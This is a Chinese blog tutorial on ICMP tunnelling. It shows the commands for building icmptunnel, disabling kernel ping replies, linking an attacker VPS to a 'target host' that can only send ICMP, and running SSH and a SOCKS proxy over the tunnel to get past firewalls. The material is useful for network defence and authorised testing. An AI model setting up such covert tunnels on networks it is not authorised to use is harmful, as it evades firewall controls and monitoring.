写点什么

内网穿透 -ICMP 协议

用户头像
Machine Gun
关注
发布于: 2021 年 06 月 02 日


ICMP 协议



通常我们的 ping、tracert 命令是可以无视防火墙进行出网的,而 ping、tracert 就是利用的 ICMP 协议


ICMP 协议是 Internet 控制报文协议。它属于网络层协议,是 TCP/IP 协议簇的一个子协议,用于在 IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。


ICMP 报文格式如下啊,可以看到 icmp 是有数据 data 部分的



我们 ping 一下 8.8.8.8 并抓个 icmp 的包看看



ICMP 报文里面的类型、代码、校验和什么的我们不用管,重要的是数据部分(data)


可以看到啊,我们 ping 了 8.8.8.8,icmp 报文的 data 竟然是 abcd......,一看就是没用的填充字符啊


返回包也是 abcd.....这些填充字符


ICMP 隧道技术



可以看出 ICMP 的数据是没用的,如果我们能利用这点空间将 abcd 改为我们的信息,俩主机互相 ping 就能传递信息了!

而且 ICMP 报文是由系统内核处理不占用任何端口,随便你防火墙拦截端口,又拦不住我 ICMP。


所以现在的 ICMP 隧道技术,基本采用修改 ICMPECHO 和 ICMPECHOREPLY 两种报文,把消息隐藏在数据中,利用 ping 或 tracert 命令建立隐蔽通道。


工具



常用的 ICMP 隧道工具有:icmpsh、Pingtunnel、powershell icmp 、icmptunnel


Icmptunnel

linux 工具 icmptunnel, 可以将 IP 流量封装到 ICMP echo 请求和回复(ping)包中, 通过 icmp 建立通道穿透防火墙出网

项目地址:https://github.com/jamesbarlow/icmptunnel

项目地址:http://github.com/DhavalKapil/icmptunnel


场景:一台我的 vps 主机 A(192.168.10.1),一台 linux 目标主机 B,只能 ICMP 协议出网


AB 主机先 git 下来然后编译该工具

git clone https://github.com/jamesbarlow/icmptunnel.gitmake
复制代码

AB 主机都需要禁用自带的 icmp

sysctl -w net.ipv4.icmp_echo_ignore_all=1echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
复制代码


A 主机为服务器端,以 root 权限进行监听

./icmptunnel -s(ctrl-z  bg)
复制代码

这时他会创建一个隧道接口 tun0,我们需要分配一个 ip 地址

/sbin/ifconfig tun0 10.10.1.1 netmask 255.255.255.0
复制代码



B 主机进行回连 A 主机

./icmptunnelopened tunnel device: tun0connection established.(ctrl-z  bg)
复制代码

连接成功同样创业一个隧道接口 tun0,需要配置一下 ip

/sbin/ifconfig tun0 10.10.1.2 netmask 255.255.255.0
复制代码



这样我们就有了 icmp 协议搭建的隧道,我们就可以使用此 10.10.1.0/24 网段访问 B 主机


比如 ssh 连接 B 主机

ssh xiaogang@10.10.1.2
复制代码



或者使用 ssh 的端口转发开启 socks 代理,可见《内网穿透-ssh 转发技术》

ssh -CfNg xiaogang@10.10.1.2 -D 127.0.0.1:1080
复制代码

这样就可以设置浏览器代理或全局代理连接 socks://VPS:1080


下面是我用浏览器连接 A 主机的 1080 端口,访问 B 主机的 web 页面


注意


我们想通过 ICMP 协议打通隧道,需要服务端和客户端都能使用 ICMP 协议,也就是能互相 ping 通。

用户头像

Machine Gun

关注

还未添加个人签名 2021.03.28 加入

需要获取网络安全/渗透测试学习资料工具的朋友可联系V:machinegunjoe666 免费索取

评论

发布
暂无评论
内网穿透-ICMP协议